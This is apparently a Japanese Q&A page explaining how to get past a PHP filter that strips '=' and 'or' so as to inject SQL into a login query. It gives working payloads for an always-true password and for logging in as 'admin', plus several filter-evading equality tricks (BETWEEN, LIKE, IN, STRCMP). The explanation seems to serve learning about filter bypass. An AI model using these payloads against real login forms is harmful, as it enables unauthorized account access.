sql >> データベース >  >> RDS >> Mysql

PHPフィルタリングを使用したSQLインジェクション

    このlvl2_filterの定義を想定 、基本的に=の出現をすべて削除します およびor 見つからなくなるまで、論理OR演算 ||を使用 ORの代わりに そして、次のように真と評価される単純な式:

    username: dummy
    password: ' || '1
    

    これにより、次のようになります。

    SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
    

    特定のユーザーを選択するには、ブール代数のルール を使用できます。 、ここでx=y =!(x!=y)

    username: dummy
    password: ' || NOT(username<>'admin') AND '1
    

    これにより、次のようになります。

    SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
    

    ここで<> !=と同等です ただし、=は含まれていません 。

    ユーザー名を確認するために使用できる他の操作もあります adminと等しい :

    • username BETWEEN 'admin' AND 'admin'
    • username LIKE 'admin'
    • username IN ('admin')
    • IF(STRCMP(username,'admin'), 0, 1)
    • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END



    1. Pythonを使用してデータベースにリストを挿入します

    2. MySQL Connector/Jを使用したサーバー側のプリペアドステートメントはありません

    3. Oracle PL/SQLでのCSVファイルの読み取りとインポート

    4. MySQLで行を列に動的に転置する方法